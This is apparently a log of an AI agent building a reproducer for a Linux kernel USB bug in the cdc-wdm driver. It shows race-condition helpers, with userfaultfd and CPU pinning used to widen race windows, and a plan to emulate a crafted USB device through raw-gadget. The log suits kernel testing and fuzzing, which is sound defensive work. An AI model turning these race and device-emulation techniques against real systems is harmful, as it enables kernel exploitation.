struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
]
|
| 72/5 |
2026/09/11 22:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17288
output: 44
thoughts: 89
Thoughts: **My Thought Process on Developing a Raw-Gadget Program**
Alright, so the immediate task is clear: I need to get this raw-gadget program up and running. My initial inclination is to leverage the standard `ioctl` calls specifically designed for raw gadget functionality. To do that, I'll naturally be reaching for the relevant kernel headers, specifically `<linux/usb/ch9.h>` for the USB standard definitions and `<linux/usb/raw_gadget.h>` for the raw gadget interface itself.
However, a moment of critical self-correction hits me. I need to pause and consider the practicalities of header availability. It's quite possible that `<linux/usb/raw_gadget.h>` isn't guaranteed to be present in a standard user-space build environment. Relying on it directly might lead to compilation issues depending on the specific system configuration. Therefore, a more robust approach would be to proactively define the necessary `ioctl` commands and associated data structures manually within my own code. This ensures portability and eliminates the dependency on potentially absent kernel headers, giving me full control over the implementation.
|
| 73/5 |
2026/09/11 22:10 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/uapi/linux/usb/raw_gadget.h Name:usb_raw_init]
Results: map[SourceCode: 18: /*
19: * struct usb_raw_init - argument for USB_RAW_IOCTL_INIT ioctl.
20: * @speed: The speed of the emulated USB device, takes the same values as
21: * the usb_device_speed enum: USB_SPEED_FULL, USB_SPEED_HIGH, etc.
22: * @driver_name: The name of the UDC driver.
23: * @device_name: The name of a UDC instance.
24: *
25: * The last two fields identify a UDC the gadget driver should bind to.
26: * For example, Dummy UDC has "dummy_udc" as its driver_name and "dummy_udc.N"
27: * as its device_name, where N in the index of the Dummy UDC instance.
28: * At the same time the dwc2 driver that is used on Raspberry Pi Zero, has
29: * "20980000.usb" as both driver_name and device_name.
30: */
31: struct usb_raw_init {
32: __u8 driver_name[UDC_NAME_LENGTH_MAX];
33: __u8 device_name[UDC_NAME_LENGTH_MAX];
34: __u8 speed;
35: };
SourceFile:include/uapi/linux/usb/raw_gadget.h]
|
| 74/5 |
2026/09/11 22:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17794
output: 47
thoughts: 41
Thoughts: **My Thought Process on USB Gadget Development**
When approaching this USB gadget development task, my initial inclination is to leverage existing tools like `syz-usbgen` if the situation allows for a straightforward implementation. However, I recognize that for achieving the utmost precision and granular control, writing a raw-gadget C program is the more robust and definitive path. To that end, my immediate next step is to delve into the specifics of the `raw-gadget` interface, particularly focusing on its `ioctl` system calls. Understanding these low-level commands will be crucial for meticulously defining and managing the USB device's behavior.
|
| 75/5 |
2026/09/11 22:11 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:include/uapi/linux/usb/raw_gadget.h Name:USB_RAW_IOCTL_INIT]
Results: map[SourceCode: SourceFile:]
|
| 76/5 |
2026/09/11 22:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 17887
output: 42
thoughts: 21
Thoughts: **My Journey Through `raw_gadget.h`**
Alright, so my immediate impulse, when presented with this task, is to dive right into the source code. The specific file, `include/uapi/linux/usb/raw_gadget.h`, immediately tells me this is going to be about the raw USB gadget API in the Linux kernel. I'm expecting to see definitions for structures, constants, and function prototypes that define the interface for kernel modules or user-space drivers to act as USB devices. The `uapi` part is also a key indicator – this is the user-API, meaning it's designed for stable interaction from outside the core kernel, likely for user-space drivers or applications.
I anticipate encountering definitions related to endpoints, device configuration, and the fundamental operations needed to present a USB device to a host. I'll be looking for structures that represent USB endpoints, their types (control, bulk, interrupt, isochronous), transfer directions (IN, OUT), and their associated properties like buffer management and data transfer sizes. I'll also be scanning for constants that define various USB device states, request types, and completion statuses.
The core of my thought process will be to understand *how* this API allows a system to present itself as a USB device. This means looking for the mechanisms to:
* **Define the device itself:** What are the basic descriptors? How is the device configured?
* **Manage endpoints:** How do I create, configure, and control individual endpoints?
* **Handle data transfers:** What functions are provided for sending and receiving data on these endpoints? What are the paradigms for buffer management (e.g., scatter-gather, DMA)?
* **Respond to host requests:** How does the gadget framework handle standard USB requests like `GET_DESCRIPTOR`, `SET_ADDRESS`, `SET_CONFIGURATION`?
* **Signal completion:** How are data transfers and operations signaled as complete or failed?
Essentially, I'm trying to reconstruct the mental model of a USB device from the ground up, as exposed by this specific header file. I'll be looking for the building blocks that abstract away the low-level USB protocol details, allowing a programmer to focus on the *functionality* of the gadget. The fact that it's "raw" suggests a lower level of abstraction than a typical composite device framework, implying I'll have more direct control over the USB protocol interactions. This could mean more manual management of descriptors and setup, but also more flexibility.
I'm also curious about the error handling and status reporting mechanisms. How does the API inform the user about successful operations, errors, or the need for specific actions?
Ultimately, my goal in reading this file is to grasp the fundamental interface and the level of control it offers, so I can understand how a system can act as a USB peripheral device using this API.
|
| 77/5 |
2026/09/11 22:11 |
tool |
read-file |
0m
Args: map[File:include/uapi/linux/usb/raw_gadget.h FirstLine:1 LineCount:100]
Results: map[Contents: 1: /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
2: /*
3: * USB Raw Gadget driver.
4: *
5: * See Documentation/usb/raw-gadget.rst for more details.
6: */
7:
8: #ifndef _UAPI__LINUX_USB_RAW_GADGET_H
9: #define _UAPI__LINUX_USB_RAW_GADGET_H
10:
11: #include <asm/ioctl.h>
12: #include <linux/types.h>
13: #include <linux/usb/ch9.h>
14:
15: /* Maximum length of driver_name/device_name in the usb_raw_init struct. */
16: #define UDC_NAME_LENGTH_MAX 128
17:
18: /*
19: * struct usb_raw_init - argument for USB_RAW_IOCTL_INIT ioctl.
20: * @speed: The speed of the emulated USB device, takes the same values as
21: * the usb_device_speed enum: USB_SPEED_FULL, USB_SPEED_HIGH, etc.
22: * @driver_name: The name of the UDC driver.
23: * @device_name: The name of a UDC instance.
24: *
25: * The last two fields identify a UDC the gadget driver should bind to.
26: * For example, Dummy UDC has "dummy_udc" as its driver_name and "dummy_udc.N"
27: * as its device_name, where N in the index of the Dummy UDC instance.
28: * At the same time the dwc2 driver that is used on Raspberry Pi Zero, has
29: * "20980000.usb" as both driver_name and device_name.
30: */
31: struct usb_raw_init {
32: __u8 driver_name[UDC_NAME_LENGTH_MAX];
33: __u8 device_name[UDC_NAME_LENGTH_MAX];
34: __u8 speed;
35: };
36:
37: /* The type of event fetched with the USB_RAW_IOCTL_EVENT_FETCH ioctl. */
38: enum usb_raw_event_type {
39: USB_RAW_EVENT_INVALID = 0,
40:
41: /* This event is queued when the driver has bound to a UDC. */
42: USB_RAW_EVENT_CONNECT = 1,
43:
44: /* This event is queued when a new control request arrived to ep0. */
45: USB_RAW_EVENT_CONTROL = 2,
46:
47: /*
48: * These events are queued when the gadget driver is suspended,
49: * resumed, reset, or disconnected. Note that some UDCs (e.g. dwc2)
50: * report a disconnect event instead of a reset.
51: */
52: USB_RAW_EVENT_SUSPEND = 3,
53: USB_RAW_EVENT_RESUME = 4,
54: USB_RAW_EVENT_RESET = 5,
55: USB_RAW_EVENT_DISCONNECT = 6,
56:
57: /* The list might grow in the future. */
58: };
59:
60: /*
61: * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
62: * @type: The type of the fetched event.
63: * @length: Length of the data buffer. Updated by the driver and set to the
64: * actual length of the fetched event data.
65: * @data: A buffer to store the fetched event data.
66: *
67: * The fetched event data buffer contains struct usb_ctrlrequest for
68: * USB_RAW_EVENT_CONTROL and is empty for other events.
69: */
70: struct usb_raw_event {
71: __u32 type;
72: __u32 length;
73: __u8 data[];
74: };
75:
76: #define USB_RAW_IO_FLAGS_ZERO 0x0001
77: #define USB_RAW_IO_FLAGS_MASK 0x0001
78:
79: static inline int usb_raw_io_flags_valid(__u16 flags)
80: {
81: return (flags & ~USB_RAW_IO_FLAGS_MASK) == 0;
82: }
83:
84: static inline int usb_raw_io_flags_zero(__u16 flags)
85: {
86: return (flags & USB_RAW_IO_FLAGS_ZERO);
87: }
88:
89: /*
90: * struct usb_raw_ep_io - argument for USB_RAW_IOCTL_EP0/EP_WRITE/READ ioctls.
91: * @ep: Endpoint handle as returned by USB_RAW_IOCTL_EP_ENABLE for
92: * USB_RAW_IOCTL_EP_WRITE/READ. Ignored for USB_RAW_IOCTL_EP0_WRITE/READ.
93: * @flags: When USB_RAW_IO_FLAGS_ZERO is specified, the zero flag is set on
94: * the submitted USB request, see include/linux/usb/gadget.h for details.
95: * @length: Length of data.
96: * @data: Data to send for USB_RAW_IOCTL_EP0/EP_WRITE. Buffer to store received
97: * data for USB_RAW_IOCTL_EP0/EP_READ.
98: */
99: struct usb_raw_ep_io {
100: __u16 ep;
]
|
| 78/5 |
2026/09/11 22:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 19570
output: 44
thoughts: 24
Thoughts: **My Deep Dive into `raw_gadget.h`**
Right, so I've just been delving into `include/uapi/linux/usb/raw_gadget.h`. My goal here is to get a comprehensive understanding of what's going on within this header file, specifically in the context of the Linux USB raw gadget API. I'm anticipating that this will give me crucial insights into how userspace applications can directly interact with USB hardware as a device, bypassing some of the higher-level abstractions that might otherwise be in play.
My initial impression is that this header file is laying down the foundational structures, types, and constants that define the interface between the kernel's USB gadget subsystem and user-space programs. I expect to find definitions for things like:
* **Device-level operations:** How do I represent and manage a USB device from user space? This likely involves enumerating devices, configuring their properties, and potentially handling their lifecycle.
* **Endpoint management:** USB communication happens via endpoints. I'm looking for the mechanisms to define, configure, and manage these endpoints – their types (BULK, INTERRUPT, ISOCHRONOUS, CONTROL), their directions (IN/OUT), and their transfer characteristics.
* **Data transfer mechanisms:** The core of any USB communication is data transfer. I'm curious about the APIs that allow me to send and receive data to and from the host, and how these operations are synchronized and managed. This might involve descriptors for transfers, buffer management, and status reporting.
* **Event handling and notifications:** USB is an event-driven protocol. I'll be looking for ways that user space can be notified of important events, such as connection/disconnection, configuration changes, or the arrival of data.
* **Error handling and status codes:** Just like any robust API, I'll need to understand how errors are reported and what the various status codes mean, so I can effectively debug and manage my USB interactions.
Ultimately, my aim in poring over this header is to be able to *think* in terms of the raw gadget API. I want to internalize the data structures and function signatures so that when I'm designing or implementing a USB device emulation in user space, I can immediately recognize the primitives available to me. This will enable me to build efficient, low-level USB functionality without relying on more abstract, and potentially less flexible, gadget drivers. It’s about understanding the kernel's exposed interface at its most fundamental level for this particular functionality.
|
| 79/5 |
2026/09/11 22:11 |
tool |
read-file |
0m
Args: map[File:include/uapi/linux/usb/raw_gadget.h FirstLine:101 LineCount:100]
Results: map[Contents: 101: __u16 flags;
102: __u32 length;
103: __u8 data[];
104: };
105:
106: /* Maximum number of non-control endpoints in struct usb_raw_eps_info. */
107: #define USB_RAW_EPS_NUM_MAX 30
108:
109: /* Maximum length of UDC endpoint name in struct usb_raw_ep_info. */
110: #define USB_RAW_EP_NAME_MAX 16
111:
112: /* Used as addr in struct usb_raw_ep_info if endpoint accepts any address. */
113: #define USB_RAW_EP_ADDR_ANY 0xff
114:
115: /*
116: * struct usb_raw_ep_caps - exposes endpoint capabilities from struct usb_ep
117: * (technically from its member struct usb_ep_caps).
118: */
119: struct usb_raw_ep_caps {
120: __u32 type_control : 1;
121: __u32 type_iso : 1;
122: __u32 type_bulk : 1;
123: __u32 type_int : 1;
124: __u32 dir_in : 1;
125: __u32 dir_out : 1;
126: };
127:
128: /*
129: * struct usb_raw_ep_limits - exposes endpoint limits from struct usb_ep.
130: * @maxpacket_limit: Maximum packet size value supported by this endpoint.
131: * @max_streams: maximum number of streams supported by this endpoint
132: * (actual number is 2^n).
133: * @reserved: Empty, reserved for potential future extensions.
134: */
135: struct usb_raw_ep_limits {
136: __u16 maxpacket_limit;
137: __u16 max_streams;
138: __u32 reserved;
139: };
140:
141: /*
142: * struct usb_raw_ep_info - stores information about a gadget endpoint.
143: * @name: Name of the endpoint as it is defined in the UDC driver.
144: * @addr: Address of the endpoint that must be specified in the endpoint
145: * descriptor passed to USB_RAW_IOCTL_EP_ENABLE ioctl.
146: * @caps: Endpoint capabilities.
147: * @limits: Endpoint limits.
148: */
149: struct usb_raw_ep_info {
150: __u8 name[USB_RAW_EP_NAME_MAX];
151: __u32 addr;
152: struct usb_raw_ep_caps caps;
153: struct usb_raw_ep_limits limits;
154: };
155:
156: /*
157: * struct usb_raw_eps_info - argument for USB_RAW_IOCTL_EPS_INFO ioctl.
158: * eps: Structures that store information about non-control endpoints.
159: */
160: struct usb_raw_eps_info {
161: struct usb_raw_ep_info eps[USB_RAW_EPS_NUM_MAX];
162: };
163:
164: /*
165: * Initializes a Raw Gadget instance.
166: * Accepts a pointer to the usb_raw_init struct as an argument.
167: * Returns 0 on success or negative error code on failure.
168: */
169: #define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
170:
171: /*
172: * Instructs Raw Gadget to bind to a UDC and start emulating a USB device.
173: * Returns 0 on success or negative error code on failure.
174: */
175: #define USB_RAW_IOCTL_RUN _IO('U', 1)
176:
177: /*
178: * A blocking ioctl that waits for an event and returns fetched event data to
179: * the user.
180: * Accepts a pointer to the usb_raw_event struct.
181: * Returns 0 on success or negative error code on failure.
182: */
183: #define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
184:
185: /*
186: * Queues an IN (OUT for READ) request as a response to the last setup request
187: * received on endpoint 0 (provided that was an IN (OUT for READ) request), and
188: * waits until the request is completed. Copies received data to user for READ.
189: * Accepts a pointer to the usb_raw_ep_io struct as an argument.
190: * Returns length of transferred data on success or negative error code on
191: * failure.
192: */
193: #define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
194: #define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
195:
196: /*
197: * Finds an endpoint that satisfies the parameters specified in the provided
198: * descriptors (address, transfer type, etc.) and enables it.
199: * Accepts a pointer to the usb_raw_ep_descs struct as an argument.
200: * Returns enabled endpoint handle on success or negative error code on failure.
]
|
| 80/5 |
2026/09/11 22:11 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 21311
output: 44
thoughts: 7
Thoughts: **My Thought Process on Delving into This Text**
Alright, let's get into it. My primary objective here is to thoroughly process and understand the content that follows. I'm aiming to go beyond a superficial read, truly engaging with the material to grasp its nuances and underlying message. It's not just about absorbing information; it's about building a comprehensive mental model of what's being presented. I'll be looking for key arguments, supporting evidence, any underlying assumptions, and the overall structure of the piece. My expectation is to emerge with a clear and well-defined understanding, allowing me to not only recall the details but also to critically evaluate and potentially build upon the presented ideas. This is about deep comprehension and the integration of new knowledge into my existing framework.
|
| 81/5 |
2026/09/11 22:12 |
tool |
read-file |
0m
Args: map[File:include/uapi/linux/usb/raw_gadget.h FirstLine:201 LineCount:100]
Results: map[Contents: 201: */
202: #define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
203:
204: /*
205: * Disables specified endpoint.
206: * Accepts endpoint handle as an argument.
207: * Returns 0 on success or negative error code on failure.
208: */
209: #define USB_RAW_IOCTL_EP_DISABLE _IOW('U', 6, __u32)
210:
211: /*
212: * Queues an IN (OUT for READ) request as a response to the last setup request
213: * received on endpoint usb_raw_ep_io.ep (provided that was an IN (OUT for READ)
214: * request), and waits until the request is completed. Copies received data to
215: * user for READ.
216: * Accepts a pointer to the usb_raw_ep_io struct as an argument.
217: * Returns length of transferred data on success or negative error code on
218: * failure.
219: */
220: #define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
221: #define USB_RAW_IOCTL_EP_READ _IOWR('U', 8, struct usb_raw_ep_io)
222:
223: /*
224: * Switches the gadget into the configured state.
225: * Returns 0 on success or negative error code on failure.
226: */
227: #define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
228:
229: /*
230: * Constrains UDC VBUS power usage.
231: * Accepts current limit in 2 mA units as an argument.
232: * Returns 0 on success or negative error code on failure.
233: */
234: #define USB_RAW_IOCTL_VBUS_DRAW _IOW('U', 10, __u32)
235:
236: /*
237: * Fills in the usb_raw_eps_info structure with information about non-control
238: * endpoints available for the currently connected UDC.
239: * Returns the number of available endpoints on success or negative error code
240: * on failure.
241: */
242: #define USB_RAW_IOCTL_EPS_INFO _IOR('U', 11, struct usb_raw_eps_info)
243:
244: /*
245: * Stalls a pending control request on endpoint 0.
246: * Returns 0 on success or negative error code on failure.
247: */
248: #define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
249:
250: /*
251: * Sets or clears halt or wedge status of the endpoint.
252: * Accepts endpoint handle as an argument.
253: * Returns 0 on success or negative error code on failure.
254: */
255: #define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
256: #define USB_RAW_IOCTL_EP_CLEAR_HALT _IOW('U', 14, __u32)
257: #define USB_RAW_IOCTL_EP_SET_WEDGE _IOW('U', 15, __u32)
258:
259: #endif /* _UAPI__LINUX_USB_RAW_GADGET_H */
]
|
| 82/5 |
2026/09/11 22:12 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 22407
output: 40
thoughts: 504
Thoughts: **My Thought Process for Generating the USB Gadget Reproducer**
Alright, I've got all the `ioctl` definitions I need. My immediate goal is to construct a C program that leverages the `raw-gadget` interface to simulate a USB CDC WDM device. This means I'll need to perform a few key steps:
1. **Open the Device:** First things first, I need to get a file descriptor for `/dev/raw-gadget`.
2. **Initialize the Gadget:** I'll be using the `dummy_udc` driver for initialization.
3. **Start the Gadget:** Once initialized, I need to actually start the USB gadget.
4. **Handle EP0 Requests:** This is the core of the enumeration process. I'll have to write code to respond to standard USB control endpoint (EP0) requests. Specifically, I need to handle requests like `GetDescriptor` and `SetConfiguration` to enumerate as a CDC WDM device.
Now, a full USB enumeration sequence in C can get quite verbose. I'm wondering if there's a shortcut. The prompt mentions using `syz-usbgen` or syzkaller descriptions. The explicit instruction is to "proceed to generate the full reproducer for the bug 'WARNING in service_outstanding_interrupt/usb_submit_urb' using syz-usbgen or standard raw-gadget interactions as appropriate."
Since I don't have the `syz-usbgen` tool readily available, I'm going to have to rely on direct `raw-gadget` interactions. I'll aim to build a C program with a minimal USB enumeration loop.
So, the plan is to define the necessary USB descriptors for a CDC WDM device.
* **Device Descriptor:**
* `bDeviceClass`: Needs to be 2 (CDC).
* `bDeviceSubClass`: Let's set this to 0.
* `bDeviceProtocol`: And this to 0.
* `bMaxPacketSize0`: A common value is 64.
* `idVendor`: I'll pick a vendor ID, say 0x0525 (Netchip).
* `idProduct`: And a product ID, like 0xa4a7, which is often used for CDC devices.
* **Configuration Descriptor:**
* `wTotalLength`: This will be calculated based on all contained descriptors.
* `bNumInterfaces`: I'll start with 1 interface for simplicity.
* **Interface Descriptor:**
* `bInterfaceNumber`: This will be interface 0.
* `bNumEndpoints`: I'll need at least one endpoint.
* `bInterfaceClass`: Again, this must be 2 (CDC).
* `bInterfaceSubClass`: For WDM, I recall it's 9.
* `bInterfaceProtocol`: Set to 0.
* **Endpoint Descriptor (for Interrupt IN):**
* `bEndpointAddress`: This will be EP1 IN, so 0x81.
* `bmAttributes`: Needs to be 3 (Interrupt).
* `wMaxPacketSize`: Let's keep it at 64.
* `bInterval`: A small interval, like 1, seems appropriate.
However, I need to double-check the exact `usb_device_id` bindings used by the CDC WDM driver in the kernel. I should consult `cdc-wdm.c` to confirm the `bInterfaceClass` and `bInterfaceSubClass` values it expects to bind correctly. I seem to recall that the subclass for WDM is indeed 9, but it's always good to verify. This confirmation will ensure my chosen descriptors accurately reflect what the target driver is looking for.
|
| 83/5 |
2026/09/11 22:12 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_ids]
Results: map[SourceCode: 35: static const struct usb_device_id wdm_ids[] = {
36: {
37: .match_flags = USB_DEVICE_ID_MATCH_INT_CLASS |
38: USB_DEVICE_ID_MATCH_INT_SUBCLASS,
39: .bInterfaceClass = USB_CLASS_COMM,
40: .bInterfaceSubClass = USB_CDC_SUBCLASS_DMM
41: },
42: { }
43: };
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 84/5 |
2026/09/11 22:12 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 23096
output: 41
thoughts: 41
Thoughts: **My Thought Process**
Alright, so I'm looking at this situation and my immediate thought is to verify the specific USB class and subclass being used here. I'm recalling that `USB_CLASS_COMM` (which corresponds to the value 2) is the general class for Communication Device Class (CDC) devices. Within that, I need to be more precise. I'm pretty sure `USB_CDC_SUBCLASS_DMM` (which has a value of 9) is the relevant subclass for Device Management Model devices.
Now, to really nail this down and understand the implications, I need to delve into the `usb_cdc_notification` structure. This structure is crucial because it's the mechanism by which CDC devices, particularly those using the DMM subclass, communicate important status and event information to the host. Examining its fields will tell me what kind of notifications are being sent, what data is associated with them, and how they are being interpreted. This is the next logical step to fully grasp the behavior being observed.
|
| 85/5 |
2026/09/11 22:12 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/uapi/linux/usb/cdc.h Name:usb_cdc_notification]
Results: map[SourceCode: 305: struct usb_cdc_notification {
306: __u8 bmRequestType;
307: __u8 bNotificationType;
308: __le16 wValue;
309: __le16 wIndex;
310: __le16 wLength;
311: } __attribute__ ((packed));
SourceFile:include/uapi/linux/usb/cdc.h]
|
| 86/5 |
2026/09/11 22:12 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 23296
output: 40
thoughts: 2254
Thoughts: **My Thoughts on Debugging the USB CDC Notification Issue**
I've been diving into this USB CDC notification problem, and it seems like the core of the issue lies in how the `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` event is being handled. My initial thought was that sending a zero-length packet on EP1 IN with the appropriate `bmRequestType`, `bNotificationType`, `wValue`, `wIndex`, and `wLength` should suffice. Specifically, I was looking at `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` being `0x01`, and I formulated a request with `bmRequestType` = `0xA1`, `bNotificationType` = `0x01`, and zero for the rest.
However, I then remembered that the `wdm_int_callback` function has a crucial check: `urb->actual_length < sizeof(struct usb_cdc_notification)`. This tells me that the kernel is expecting a full 8-byte notification structure, not a zero-length one. This realization is a key piece of the puzzle.
To properly investigate and reproduce this, I've decided to write a C reproducer. My plan is to use two threads: one to handle the raw-gadget emulation and the other to manage the userspace `read()` operations. This setup should give me fine-grained control over the USB interactions.
I've started by including all the necessary headers, such as `<endian.h>`, `<errno.h>`, `<fcntl.h>`, and various Linux USB-related headers like `<linux/usb/ch9.h>`. I'll also need `<linux/userfaultfd.h>` for memory management, along with standard threading and I/O headers.
Next, I'll need to copy the `raw_gadget.h` definitions into my reproducer. This includes the structures for `usb_raw_init`, `usb_raw_event`, `usb_raw_ep_io`, and importantly, the various `ioctl` definitions like `USB_RAW_IOCTL_INIT`, `USB_RAW_IOCTL_RUN`, and `USB_RAW_IOCTL_EVENT_FETCH`. I've outlined the structure definitions and ioctl calls as I'll need them.
The core gadget logic will involve opening the `/dev/raw-gadget` device. I'll initialize the gadget using `USB_RAW_IOCTL_INIT` with a driver name, device name, and speed (likely `USB_SPEED_HIGH`). Then, I'll start the gadget running with `USB_RAW_IOCTL_RUN`.
Crucially, I need to handle EP0 requests, as this is where the device descriptor and configuration descriptors are exchanged. I've defined a `usb_device_descriptor` with common values, including `bMaxPacketSize0 = 64`. I've also defined a packed structure for the configuration descriptor, encompassing the config, interface, and endpoint descriptors. This configuration specifies an IN endpoint `0x81` (EP1 IN) with interrupt transfer type and a max packet size of 64 bytes.
Then, I hit a bit of a roadblock in my thinking process: I need to consider the CDC Header functional descriptor. The `wdm_probe` function in `cdc-wdm.c` likely expects this. This means my configuration descriptor setup isn't complete. I'll need to add this functional descriptor to properly satisfy the CDC driver's expectations during enumeration. This is a detail I need to address before proceeding further with the notification testing.
|
| 87/5 |
2026/09/11 22:13 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_probe]
Results: map[SourceCode:1150: static int wdm_probe(struct usb_interface *intf, const struct usb_device_id *id)
1151: {
1152: int rv = -EINVAL;
1153: struct usb_host_interface *iface;
1154: struct usb_endpoint_descriptor *ep;
1155: struct usb_cdc_parsed_header hdr;
1156: u8 *buffer = intf->altsetting->extra;
1157: int buflen = intf->altsetting->extralen;
1158: u16 maxcom = WDM_DEFAULT_BUFSIZE;
1159:
1160: if (!buffer)
1161: goto err;
1162:
1163: cdc_parse_cdc_header(&hdr, intf, buffer, buflen);
1164:
1165: if (hdr.usb_cdc_dmm_desc)
1166: maxcom = le16_to_cpu(hdr.usb_cdc_dmm_desc->wMaxCommand);
1167:
1168: iface = intf->cur_altsetting;
1169: if (iface->desc.bNumEndpoints != 1)
1170: goto err;
1171: ep = &iface->endpoint[0].desc;
1172:
1173: rv = wdm_create(intf, ep, maxcom, WWAN_PORT_UNKNOWN, &wdm_manage_power);
1174:
1175: err:
1176: return rv;
1177: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 88/5 |
2026/09/11 22:13 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 26046
output: 43
thoughts: 75
Thoughts: **My Thought Process Regarding `wdm_probe` and CDC Descriptors**
So, I've been digging into the `wdm_probe` function, and it seems like a critical step is this check: `if (!buffer)`. Now, I understand that `buffer` is derived from `intf->altsetting->extra`. This immediately tells me that for `wdm_probe` to proceed without issue, there needs to be *something* in that `extra` field – specifically, I'm expecting to find some CDC (Communications Device Class) functional descriptors.
My next question naturally arises: who is responsible for actually parsing these descriptors? My recollection, and what I'm seeing here, points to `cdc_parse_cdc_header`. So, the core of my concern is: what happens if these necessary functional descriptors are absent? Does `cdc_parse_cdc_header` handle this gracefully, perhaps by returning a specific error code or a NULL pointer, or does it fail in a way that would cause `wdm_probe` to bail out? To get a definitive answer, I need to dive into the implementation of `cdc_parse_cdc_header` itself. That's the next logical step to understand the complete picture and the implications of missing these descriptors.
|
| 89/5 |
2026/09/11 22:13 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:cdc_parse_cdc_header]
Results: map[SourceCode:2382: int cdc_parse_cdc_header(struct usb_cdc_parsed_header *hdr,
2383: struct usb_interface *intf,
2384: u8 *buffer,
2385: int buflen)
2386: {
2387: /* duplicates are ignored */
2388: struct usb_cdc_union_desc *union_header = NULL;
2389:
2390: /* duplicates are not tolerated */
2391: struct usb_cdc_header_desc *header = NULL;
2392: struct usb_cdc_ether_desc *ether = NULL;
2393: struct usb_cdc_mdlm_detail_desc *detail = NULL;
2394: struct usb_cdc_mdlm_desc *desc = NULL;
2395:
2396: unsigned int elength;
2397: int cnt = 0;
2398:
2399: memset(hdr, 0x00, sizeof(struct usb_cdc_parsed_header));
2400: hdr->phonet_magic_present = false;
2401: while (buflen > 0) {
2402: elength = buffer[0];
2403: if (!elength) {
2404: dev_err(&intf->dev, "skipping garbage byte\n");
2405: elength = 1;
2406: goto next_desc;
2407: }
2408: if ((buflen < elength) || (elength < 3)) {
2409: dev_err(&intf->dev, "invalid descriptor buffer length\n");
2410: break;
2411: }
2412: if (buffer[1] != USB_DT_CS_INTERFACE) {
2413: dev_err(&intf->dev, "skipping garbage\n");
2414: goto next_desc;
2415: }
2416:
2417: switch (buffer[2]) {
2418: case USB_CDC_UNION_TYPE: /* we've found it */
2419: if (elength < sizeof(struct usb_cdc_union_desc))
2420: goto next_desc;
2421: if (union_header) {
2422: dev_err(&intf->dev, "More than one union descriptor, skipping ...\n");
2423: goto next_desc;
2424: }
2425: union_header = (struct usb_cdc_union_desc *)buffer;
2426: break;
2427: case USB_CDC_COUNTRY_TYPE:
2428: if (elength < sizeof(struct usb_cdc_country_functional_desc))
2429: goto next_desc;
2430: hdr->usb_cdc_country_functional_desc =
2431: (struct usb_cdc_country_functional_desc *)buffer;
2432: break;
2433: case USB_CDC_HEADER_TYPE:
2434: if (elength != sizeof(struct usb_cdc_header_desc))
2435: goto next_desc;
2436: if (header)
2437: return -EINVAL;
2438: header = (struct usb_cdc_header_desc *)buffer;
2439: break;
2440: case USB_CDC_ACM_TYPE:
2441: if (elength < sizeof(struct usb_cdc_acm_descriptor))
2442: goto next_desc;
2443: hdr->usb_cdc_acm_descriptor =
2444: (struct usb_cdc_acm_descriptor *)buffer;
2445: break;
2446: case USB_CDC_ETHERNET_TYPE:
2447: if (elength != sizeof(struct usb_cdc_ether_desc))
2448: goto next_desc;
2449: if (ether)
2450: return -EINVAL;
2451: ether = (struct usb_cdc_ether_desc *)buffer;
2452: break;
2453: case USB_CDC_CALL_MANAGEMENT_TYPE:
2454: if (elength < sizeof(struct usb_cdc_call_mgmt_descriptor))
2455: goto next_desc;
2456: hdr->usb_cdc_call_mgmt_descriptor =
2457: (struct usb_cdc_call_mgmt_descriptor *)buffer;
